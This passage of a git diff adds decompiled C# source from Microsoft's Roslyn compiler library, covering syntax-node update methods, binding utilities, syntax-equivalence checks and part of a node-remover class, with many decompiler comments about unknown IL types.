invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || switchKeyword != SwitchKeyword || openParenToken != OpenParenToken || expression != Expression || closeParenToken != CloseParenToken || openBraceToken != OpenBraceToken || sections != Sections || closeBraceToken != CloseBraceToken) + { + SwitchStatementSyntax switchStatementSyntax = SyntaxFactory.SwitchStatement(attributeLists, switchKeyword, openParenToken, expression, closeParenToken, openBraceToken, sections, closeBraceToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return switchStatementSyntax; + } + return switchStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new SwitchStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, SwitchKeyword, OpenParenToken, Expression, CloseParenToken, OpenBraceToken, Sections, CloseBraceToken); + } + + public SwitchStatementSyntax WithSwitchKeyword(SyntaxToken switchKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, switchKeyword, OpenParenToken, Expression, CloseParenToken, OpenBraceToken, Sections, CloseBraceToken); + } + + public SwitchStatementSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, SwitchKeyword, openParenToken, Expression, CloseParenToken, OpenBraceToken, Sections, CloseBraceToken); + } + + public SwitchStatementSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, SwitchKeyword, OpenParenToken, expression, CloseParenToken, OpenBraceToken, Sections, CloseBraceToken); + } + + public SwitchStatementSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, SwitchKeyword, OpenParenToken, Expression, closeParenToken, OpenBraceToken, Sections, CloseBraceToken); + } + + public SwitchStatementSyntax WithOpenBraceToken(SyntaxToken openBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, SwitchKeyword, OpenParenToken, Expression, CloseParenToken, openBraceToken, Sections, CloseBraceToken); + } + + public SwitchStatementSyntax WithSections(SyntaxList sections) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, SwitchKeyword, OpenParenToken, Expression, CloseParenToken, OpenBraceToken, sections, CloseBraceToken); + } + + public SwitchStatementSyntax WithCloseBraceToken(SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, SwitchKeyword, OpenParenToken, Expression, CloseParenToken, OpenBraceToken, Sections, closeBraceToken); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new SwitchStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + public SwitchStatementSyntax AddSections(params SwitchSectionSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithSections(Sections.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SyntaxBindingUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SyntaxBindingUtilities.cs new file mode 100644 index 0000000..6093db1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SyntaxBindingUtilities.cs @@ -0,0 +1,94 @@ +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +internal static class SyntaxBindingUtilities +{ + public static bool BindsToResumableStateMachineState(SyntaxNode node) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + bool flag = node.IsKind(SyntaxKind.YieldReturnStatement) || node.IsKind(SyntaxKind.AwaitExpression); + bool flag2; + if (!flag) + { + if (node is CommonForEachStatementSyntax { AwaitKeyword: var awaitKeyword }) + { + if (((SyntaxToken)(ref awaitKeyword)).RawKind != 0) + { + goto IL_00cc; + } + } + else if (node is VariableDeclaratorSyntax variableDeclaratorSyntax) + { + CSharpSyntaxNode parent = variableDeclaratorSyntax.Parent; + if (parent != null) + { + CSharpSyntaxNode parent2 = parent.Parent; + if (parent2 is UsingStatementSyntax { AwaitKeyword: var awaitKeyword2 }) + { + if (((SyntaxToken)(ref awaitKeyword2)).RawKind != 0) + { + goto IL_00cc; + } + } + else if (parent2 is LocalDeclarationStatementSyntax { AwaitKeyword: var awaitKeyword3 } && ((SyntaxToken)(ref awaitKeyword3)).RawKind != 0) + { + goto IL_00cc; + } + } + } + else if (node is UsingStatementSyntax { Expression: not null, AwaitKeyword: var awaitKeyword4 } && ((SyntaxToken)(ref awaitKeyword4)).RawKind != 0) + { + goto IL_00cc; + } + flag2 = false; + goto IL_00d4; + } + goto IL_00d7; + IL_00cc: + flag2 = true; + goto IL_00d4; + IL_00d7: + return flag; + IL_00d4: + flag = flag2; + goto IL_00d7; + } + + public static bool BindsToTryStatement(SyntaxNode node) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + if (node is VariableDeclaratorSyntax variableDeclaratorSyntax) + { + CSharpSyntaxNode parent = variableDeclaratorSyntax.Parent; + if (parent != null) + { + CSharpSyntaxNode parent2 = parent.Parent; + if (parent2 is UsingStatementSyntax || (parent2 is LocalDeclarationStatementSyntax { UsingKeyword: var usingKeyword } && ((SyntaxToken)(ref usingKeyword)).RawKind != 0)) + { + goto IL_006f; + } + } + } + else if (node is UsingStatementSyntax usingStatementSyntax) + { + if (usingStatementSyntax.Expression != null) + { + goto IL_006f; + } + } + else if (node is CommonForEachStatementSyntax || node is TryStatementSyntax || node is LockStatementSyntax) + { + goto IL_006f; + } + return false; + IL_006f: + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SyntaxEquivalence.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SyntaxEquivalence.cs new file mode 100644 index 0000000..97f3554 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SyntaxEquivalence.cs @@ -0,0 +1,231 @@ +using System; +using System.Collections.Generic; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +internal static class SyntaxEquivalence +{ + internal static bool AreEquivalent(SyntaxTree? before, SyntaxTree? after, Func? ignoreChildNode, bool topLevel) + { + if (before == after) + { + return true; + } + if (before == null || after == null) + { + return false; + } + return AreEquivalent(before.GetRoot(default(CancellationToken)), after.GetRoot(default(CancellationToken)), ignoreChildNode, topLevel); + } + + public static bool AreEquivalent(SyntaxNode? before, SyntaxNode? after, Func? ignoreChildNode, bool topLevel) + { + if (before == null || after == null) + { + return before == after; + } + return AreEquivalentRecursive(before.Green, after.Green, ignoreChildNode, topLevel); + } + + public static bool AreEquivalent(SyntaxTokenList before, SyntaxTokenList after) + { + return AreEquivalentRecursive(((SyntaxTokenList)(ref before)).Node, ((SyntaxTokenList)(ref after)).Node, null, topLevel: false); + } + + public static bool AreEquivalent(SyntaxToken before, SyntaxToken after) + { + if (((SyntaxToken)(ref before)).RawKind == ((SyntaxToken)(ref after)).RawKind) + { + if (((SyntaxToken)(ref before)).Node != null) + { + return AreTokensEquivalent(((SyntaxToken)(ref before)).Node, ((SyntaxToken)(ref after)).Node, null); + } + return true; + } + return false; + } + + private static bool AreTokensEquivalent(GreenNode? before, GreenNode? after, Func? ignoreChildNode) + { + if (before == null || after == null) + { + if (before == null) + { + return after == null; + } + return false; + } + if (before.IsMissing != after.IsMissing) + { + return false; + } + switch ((SyntaxKind)(ushort)before.RawKind) + { + case SyntaxKind.IdentifierToken: + if (((SyntaxToken)(object)before).ValueText != ((SyntaxToken)(object)after).ValueText) + { + return false; + } + break; + case SyntaxKind.NumericLiteralToken: + case SyntaxKind.CharacterLiteralToken: + case SyntaxKind.StringLiteralToken: + case SyntaxKind.InterpolatedStringTextToken: + case SyntaxKind.SingleLineRawStringLiteralToken: + case SyntaxKind.MultiLineRawStringLiteralToken: + case SyntaxKind.Utf8StringLiteralToken: + case SyntaxKind.Utf8SingleLineRawStringLiteralToken: + case SyntaxKind.Utf8MultiLineRawStringLiteralToken: + if (((SyntaxToken)(object)before).Text != ((SyntaxToken)(object)after).Text) + { + return false; + } + break; + } + return AreNullableDirectivesEquivalent(before, after, ignoreChildNode); + } + + private static bool AreEquivalentRecursive(GreenNode? before, GreenNode? after, Func? ignoreChildNode, bool topLevel) + { + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_00e3: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + if (before == after) + { + return true; + } + if (before == null || after == null) + { + return false; + } + if (before.RawKind != after.RawKind) + { + return false; + } + if (before.IsToken) + { + return AreTokensEquivalent(before, after, ignoreChildNode); + } + if (topLevel) + { + SyntaxKind syntaxKind = (SyntaxKind)before.RawKind; + if (syntaxKind == SyntaxKind.Block || syntaxKind == SyntaxKind.ArrowExpressionClause) + { + return AreNullableDirectivesEquivalent(before, after, ignoreChildNode); + } + if ((ushort)before.RawKind == 8873) + { + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FieldDeclarationSyntax obj = (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FieldDeclarationSyntax)(object)before; + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FieldDeclarationSyntax fieldDeclarationSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FieldDeclarationSyntax)(object)after; + bool num = obj.Modifiers.Any(8350); + bool flag = fieldDeclarationSyntax.Modifiers.Any(8350); + if (!num && !flag) + { + ignoreChildNode = (SyntaxKind childKind) => childKind == SyntaxKind.EqualsValueClause; + } + } + } + if (ignoreChildNode != null) + { + ChildSyntaxList val = before.ChildNodesAndTokens(); + Enumerator enumerator = ((ChildSyntaxList)(ref val)).GetEnumerator(); + val = after.ChildNodesAndTokens(); + Enumerator enumerator2 = ((ChildSyntaxList)(ref val)).GetEnumerator(); + GreenNode val2; + GreenNode val3; + do + { + val2 = null; + val3 = null; + while (((Enumerator)(ref enumerator)).MoveNext()) + { + GreenNode current = ((Enumerator)(ref enumerator)).Current; + if (current != null && (current.IsToken || !ignoreChildNode((SyntaxKind)current.RawKind))) + { + val2 = current; + break; + } + } + while (((Enumerator)(ref enumerator2)).MoveNext()) + { + GreenNode current2 = ((Enumerator)(ref enumerator2)).Current; + if (current2 != null && (current2.IsToken || !ignoreChildNode((SyntaxKind)current2.RawKind))) + { + val3 = current2; + break; + } + } + if (val2 == null || val3 == null) + { + return val2 == val3; + } + } + while (AreEquivalentRecursive(val2, val3, ignoreChildNode, topLevel)); + return false; + } + int slotCount = before.SlotCount; + if (slotCount != after.SlotCount) + { + return false; + } + for (int num2 = 0; num2 < slotCount; num2++) + { + GreenNode slot = before.GetSlot(num2); + GreenNode slot2 = after.GetSlot(num2); + if (!AreEquivalentRecursive(slot, slot2, ignoreChildNode, topLevel)) + { + return false; + } + } + return true; + } + + private static bool AreNullableDirectivesEquivalent(GreenNode before, GreenNode after, Func? ignoreChildNode) + { + if (ignoreChildNode != null && ignoreChildNode(SyntaxKind.NullableDirectiveTrivia)) + { + return true; + } + using (IEnumerator enumerator = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode)(object)before).GetDirectives().GetEnumerator()) + { + using IEnumerator enumerator2 = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode)(object)after).GetDirectives().GetEnumerator(); + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DirectiveTriviaSyntax directiveTriviaSyntax; + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DirectiveTriviaSyntax directiveTriviaSyntax2; + do + { + directiveTriviaSyntax = getNextNullableDirective(enumerator); + directiveTriviaSyntax2 = getNextNullableDirective(enumerator2); + if (directiveTriviaSyntax == null || directiveTriviaSyntax2 == null) + { + return directiveTriviaSyntax == directiveTriviaSyntax2; + } + } + while (AreEquivalentRecursive((GreenNode?)(object)directiveTriviaSyntax, (GreenNode?)(object)directiveTriviaSyntax2, ignoreChildNode, topLevel: false)); + return false; + } + static Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DirectiveTriviaSyntax? getNextNullableDirective(IEnumerator enumerator3) + { + while (enumerator3.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DirectiveTriviaSyntax current = enumerator3.Current; + if (current.Kind == SyntaxKind.NullableDirectiveTrivia) + { + return current; + } + } + return null; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SyntaxNodeRemover.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SyntaxNodeRemover.cs new file mode 100644 index 0000000..5f6a1c9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SyntaxNodeRemover.cs @@ -0,0 +1,651 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using Microsoft.CodeAnalysis.Syntax; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +internal static class SyntaxNodeRemover +{ + private class SyntaxRemover : CSharpSyntaxRewriter + { + private readonly HashSet _nodesToRemove; + + private readonly SyntaxRemoveOptions _options; + + private readonly TextSpan _searchSpan; + + private readonly SyntaxTriviaListBuilder _residualTrivia; + + private HashSet? _directivesToKeep; + + internal SyntaxTriviaList ResidualTrivia + { + get + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (_residualTrivia != null) + { + return _residualTrivia.ToList(); + } + return default(SyntaxTriviaList); + } + } + + public SyntaxRemover(SyntaxNode[] nodesToRemove, SyntaxRemoveOptions options) + : base(nodesToRemove.Any((SyntaxNode n) => n.IsPartOfStructuredTrivia())) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + _nodesToRemove = new HashSet(nodesToRemove); + _options = options; + _searchSpan = ComputeTotalSpan(nodesToRemove); + _residualTrivia = SyntaxTriviaListBuilder.Create(); + } + + private static TextSpan ComputeTotalSpan(SyntaxNode[] nodes) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + TextSpan fullSpan = nodes[0].FullSpan; + int num = ((TextSpan)(ref fullSpan)).Start; + int num2 = ((TextSpan)(ref fullSpan)).End; + for (int i = 1; i < nodes.Length; i++) + { + TextSpan fullSpan2 = nodes[i].FullSpan; + num = Math.Min(num, ((TextSpan)(ref fullSpan2)).Start); + num2 = Math.Max(num2, ((TextSpan)(ref fullSpan2)).End); + } + return new TextSpan(num, num2 - num); + } + + private void AddResidualTrivia(SyntaxTriviaList trivia, bool requiresNewLine = false) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (requiresNewLine) + { + AddEndOfLine((SyntaxTrivia)(((_003F?)GetEndOfLine(trivia)) ?? SyntaxFactory.CarriageReturnLineFeed)); + } + _residualTrivia.Add(ref trivia); + } + + private void AddEndOfLine(SyntaxTrivia? eolTrivia) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (eolTrivia.HasValue && (_residualTrivia.Count == 0 || !IsEndOfLine(_residualTrivia[_residualTrivia.Count - 1]))) + { + _residualTrivia.Add(eolTrivia.Value); + } + } + + private static bool IsEndOfLine(SyntaxTrivia trivia) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (trivia.Kind() != SyntaxKind.EndOfLineTrivia && trivia.Kind() != SyntaxKind.SingleLineCommentTrivia) + { + return ((SyntaxTrivia)(ref trivia)).IsDirective; + } + return true; + } + + private static SyntaxTrivia? GetEndOfLine(SyntaxTriviaList list) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = ((SyntaxTriviaList)(ref list)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxTrivia current = ((Enumerator)(ref enumerator)).Current; + if (current.Kind() == SyntaxKind.EndOfLineTrivia) + { + return current; + } + if (((SyntaxTrivia)(ref current)).IsDirective && ((SyntaxTrivia)(ref current)).GetStructure() is DirectiveTriviaSyntax { EndOfDirectiveToken: var endOfDirectiveToken }) + { + return GetEndOfLine(((SyntaxToken)(ref endOfDirectiveToken)).TrailingTrivia); + } + } + return null; + } + + private bool IsForRemoval(SyntaxNode node) + { + return _nodesToRemove.Contains(node); + } + + private bool ShouldVisit(SyntaxNode node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + TextSpan fullSpan = node.FullSpan; + if (!((TextSpan)(ref fullSpan)).IntersectsWith(_searchSpan)) + { + if (_residualTrivia != null) + { + return _residualTrivia.Count > 0; + } + return false; + } + return true; + } + + [return: NotNullIfNotNull("node")] + public override SyntaxNode? Visit(SyntaxNode? node) + { + SyntaxNode result = node; + if (node != null) + { + if (IsForRemoval(node)) + { + AddTrivia(node); + result = null; + } + else if (ShouldVisit(node)) + { + result = base.Visit(node); + } + } + return result; + } + + public override SyntaxToken VisitToken(SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken val = token; + if (VisitIntoStructuredTrivia) + { + val = base.VisitToken(token); + } + if (val.Kind() != SyntaxKind.None && _residualTrivia != null && _residualTrivia.Count > 0) + { + SyntaxTriviaListBuilder residualTrivia = _residualTrivia; + SyntaxTriviaList leadingTrivia = ((SyntaxToken)(ref val)).LeadingTrivia; + residualTrivia.Add(ref leadingTrivia); + val = ((SyntaxToken)(ref val)).WithLeadingTrivia(_residualTrivia.ToList()); + _residualTrivia.Clear(); + } + return val; + } + + public override SeparatedSyntaxList VisitList(SeparatedSyntaxList list) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0199: Unknown result type (might be due to invalid IL or missing references) + //IL_018e: Unknown result type (might be due to invalid IL or missing references) + //IL_0193: Unknown result type (might be due to invalid IL or missing references) + //IL_0144: Unknown result type (might be due to invalid IL or missing references) + //IL_0149: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_014b: Unknown result type (might be due to invalid IL or missing references) + //IL_014d: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Expected O, but got Unknown + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_016d: Unknown result type (might be due to invalid IL or missing references) + //IL_015b: Unknown result type (might be due to invalid IL or missing references) + //IL_0161: Expected O, but got Unknown + //IL_0162: Unknown result type (might be due to invalid IL or missing references) + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + //IL_010b: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + SyntaxNodeOrTokenList withSeparators = list.GetWithSeparators(); + bool flag = false; + SyntaxNodeOrTokenListBuilder val = null; + int num = 0; + int count = ((SyntaxNodeOrTokenList)(ref withSeparators)).Count; + bool flag2 = default(bool); + bool flag3 = default(bool); + while (num < count) + { + SyntaxNodeOrToken val2 = ((SyntaxNodeOrTokenList)(ref withSeparators))[num]; + SyntaxNodeOrToken val3; + if (((SyntaxNodeOrToken)(ref val2)).IsToken) + { + if (flag) + { + flag = false; + val3 = default(SyntaxNodeOrToken); + } + else + { + val3 = SyntaxNodeOrToken.op_Implicit(VisitListSeparator(((SyntaxNodeOrToken)(ref val2)).AsToken())); + } + } + else + { + TNode val4 = (TNode)(object)((SyntaxNodeOrToken)(ref val2)).AsNode(); + if (IsForRemoval((SyntaxNode)(object)val4)) + { + if (val == null) + { + val = new SyntaxNodeOrTokenListBuilder(count); + val.Add(withSeparators, 0, num); + } + CommonSyntaxNodeRemover.GetSeparatorInfo(withSeparators, num, 8539, ref flag2, ref flag3); + SyntaxNodeOrToken val5; + if (!flag3 && val.Count > 0) + { + val5 = val[val.Count - 1]; + if (((SyntaxNodeOrToken)(ref val5)).IsToken) + { + val5 = val[val.Count - 1]; + SyntaxToken token = ((SyntaxNodeOrToken)(ref val5)).AsToken(); + AddTrivia(token, (SyntaxNode)(object)val4); + val.RemoveLast(); + goto IL_012d; + } + } + if (flag2) + { + val5 = ((SyntaxNodeOrTokenList)(ref withSeparators))[num + 1]; + SyntaxToken token2 = ((SyntaxNodeOrToken)(ref val5)).AsToken(); + AddTrivia((SyntaxNode)(object)val4, token2); + flag = true; + } + else + { + AddTrivia((SyntaxNode)(object)val4); + } + goto IL_012d; + } + val3 = SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)VisitListElement(val4)); + } + goto IL_014b; + IL_014b: + if (val2 != val3 && val == null) + { + val = new SyntaxNodeOrTokenListBuilder(count); + val.Add(withSeparators, 0, num); + } + if (val != null && val3.Kind() != SyntaxKind.None) + { + val.Add(ref val3); + } + num++; + continue; + IL_012d: + val3 = default(SyntaxNodeOrToken); + goto IL_014b; + } + if (val != null) + { + return val.ToList().AsSeparatedList(); + } + return list; + } + + private void AddTrivia(SyntaxNode node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to 